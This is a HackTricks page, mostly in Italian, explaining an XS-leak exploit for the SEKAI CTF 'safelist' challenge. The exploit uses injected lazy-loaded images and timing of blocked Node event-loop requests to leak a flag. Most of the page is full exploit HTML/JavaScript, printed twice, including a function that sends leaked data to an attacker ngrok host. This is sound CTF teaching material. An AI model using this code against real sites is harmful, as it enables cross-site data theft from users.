Event Loop Blocking + Lazy images

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

In questo exploit, @aszx87410 mescola la tecnica del canale laterale delle immagini lazy attraverso un'iniezione HTML con una sorta di tecnica di blocco del ciclo degli eventi per rivelare caratteri.

Questo è un exploit diverso per la sfida CTF che è già stato commentato nella pagina seguente. dai un'occhiata per ulteriori informazioni sulla sfida:

Connection Pool Examples

L'idea dietro questo exploit è:

I post vengono caricati in ordine alfabetico
Un attaccante può iniettare un post che inizia con "A", quindi un tag HTML (come un grande <canvas) occuperà la maggior parte dello schermo e alcuni finali <img lazy tags per caricare le cose.
Se invece di una "A" l'attaccante inietta lo stesso post ma che inizia con una "z". Il post con il flag apparirà per primo, poi il post iniettato apparirà con la iniziale "z" e il grande canvas. Poiché il post con il flag è apparso per primo, il primo canvas occuperà tutto lo schermo e i finali <img lazy tags iniettati non saranno visti nello schermo, quindi non saranno caricati.
Poi, mentre il bot sta accedendo alla pagina, l'attaccante invierà richieste fetch.
Se le immagini iniettate nel post vengono caricate, queste richieste fetch richiederanno più tempo, quindi l'attaccante sa che il post è prima del flag (alfabeticamente).
Se le richieste fetch sono veloci, significa che il post è alfabeticamente dopo il flag.

Let's check the code:

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>

<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>

<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1

// I have omited code here as apparently it wasn't necesary

// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>
</body>
</html>

Supporta HackTricks

Controlla i piani di abbonamento!
Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.

Previousperformance.now + Force heavy task NextJavaScript Execution XS Leak

Last updated 4 days ago

<!DOCTYPE html> <html>  <body> <button onclick="run()">start</button>  <form id=f action="http://localhost:1234/create" method="POST" target="_blank"> <input id=inp name="text" value=""> </form>  <form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank"> <input id=inp2 name="index" value=""> </form> <script> let flag = 'SEKAI{' const TARGET = 'https://safelist.ctf.sekai.team' f.action = TARGET + '/create' f2.action = TARGET + '/remove' const sleep = ms => new Promise(r => setTimeout(r, ms)) // Function to leak info to attacker const send = data => fetch('http://server.ngrok.io?d='+data) const charset = 'abcdefghijklmnopqrstuvwxyz'.split('') // start exploit let count = 0 setTimeout(async () => { let L = 0 let R = charset.length - 1 // I have omited code here as apparently it wasn't necesary // fallback to linerar since I am not familiar with binary search lol for(let i=R; i>=L; i--) { let c = charset[i] send('try_' + flag + c) const found = await testChar(flag + c) if (found) { send('found: '+ flag+c) flag += c break } } }, 0) async function testChar(str) { return new Promise(resolve => { /* For 3350, you need to test it on your local to get this number. The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold If starts with "A", the image should be loaded because it's in the threshold. */ // <canvas height="3350px"> is experimental and allow to show the injected // images when the post injected is the first one but to hide them when // the injected post is after the post with the flag inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('') f.submit() setTimeout(() => { run(str, resolve) }, 500) }) } async function run(str, resolve) { // Open posts page 5 times for(let i=1; i<=5;i++) { window.open(TARGET) } let t = 0 const round = 30 //Lets time 30 requests setTimeout(async () => { // Send 30 requests and time each for(let i=0; i<round; i++) { let s = performance.now() await fetch(TARGET + '/?test', { mode: 'no-cors' }).catch(err=>1) let end = performance.now() t += end - s console.log(end - s) } const avg = t/round // Send info about how much time it took send(str + "," + t + "," + "avg:" + avg) /* I get this threshold(1000ms) by trying multiple times on remote admin bot for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold */ const isFound = (t >= 1000) if (isFound) { inp2.value = "0" } else { inp2.value = "1" } // remember to delete the post to not break our leak oracle f2.submit() setTimeout(() => { resolve(isFound) }, 200) }, 200) } </script> </body> </html>